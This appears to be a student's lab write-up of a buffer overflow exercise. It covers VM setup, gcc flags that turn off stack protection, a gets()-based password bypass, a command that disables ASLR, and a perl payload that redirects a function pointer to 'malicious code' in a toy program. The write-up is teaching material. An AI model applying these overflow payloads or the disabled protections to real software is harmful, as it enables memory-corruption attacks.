

Experiment 1

Buffer Overflow Attack

- 1) If the user does not have Linux installed, download an ISO image for Ubuntu and install virtual machine software such as UTM or VirtualBox to virtualize Linux.
 - a. There are multiple tutorials on YouTube to assist with the initial setup
 - b. For a Mac with ARM architecture, I am using UTM
 - c. Ensure you download an ISO image based on your systems architecture
- 2) Once a VM is installed, download the experiment 1 code
- 3) Write a C program for buffer overflow samples for heap overflow, integer overflow and stack overflow
- 4) Compile code with gcc with the following command line input `"gcc -w -fno-stack-protector -Wall -pedantic YOUR C FILE NAME.c -o YOUR C FILE NAME"`
 - a. You may need to install gcc with the following command: `"sudo apt install gcc"`
 - b. Run your code in the terminal `"/YOUR FILE NAME`
 - c. You should receive an error at the end `"Bus error"` (core dumped)
 - d. A bus error usually means that the program tried to access memory that isn't properly aligned for the type of operation being performed
 - e. Core dumped means This means that the operating system has captured the memory content of the crashed process and saved it to a file (often called "core").
- 5) For part 2, you will enter the wrong password. But, with an overflowing buffer, you may still get access to the next part of the code
 - a. Open a new terminal in part 2
 - b. Compile the code `"gcc -w -fno-stack-protector ccode.c -o ccode"` and run it
 - c. You will notice the buffer is allocated 10 bytes on the stack and directly after is the xyz variable. When you input a string longer than 10 characters, you overflow `"buffer"` and overwrite the memory of `"xyz"`
 - d. If the overflowed value makes `"xyz"` non-zero, it will evaluate to `"true"` and allow user access. This is because the `gets()` method doesn't check the bounds of input
- 6) For part 3, compile the code `"gcc -w -fno-stack-protector bo_test.c -o bo_test"`
 - a. If using a machine, you may need to disable the Address space layout randomization functionality with the following terminal command: `"echo 0 | sudo tee /proc/sys/kernel/randomize_va_space"`
 - b. Run the code with any 5 letter argument ie `"/bo_test abcde"`
 - c. Copy the stack address of good code and malicious code. Here is mine:
 - i. Good code: 0xaaaaaaaa0854

ii. Malicious code: 0xaaaaaaaa0874

```
Address of GOOD_CODE = 0xaaaaaaaa0854
Address of MLIC_CODE = 0xaaaaaaaa0874
SIZE : 8
Address of dsrd_fn    = 0xaaaaaaaa0854
GOOD CODE
My stack looks like:
0xffffffff7f9e788
0xfbad2a84
0xffffffff7ff7e60
0xaaaaaaaa0962
0xaaaaaaaaab22aa
0x444f4320444f4f47
```

d. My system is little-endian so I am going to replace the first line of the perl code to \$arg = "AAAAAAAAAA"."\\x74\\x08\\xaa\\xaa\\xaa\\xaa"; here is my output:

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Address of GOOD_CODE = 0xaaaaaaaa0854
Address of MLIC_CODE = 0xaaaaaaaa0874
SIZE : 8
Address of dsrd_fn    = 0xaaaaaaaa0800
My stack looks like:
0xaaaaaaaaab1010
0xffffffff7fa2e70
(nil)
0xaaaaaaaa0a4b
(nil)
0xa
```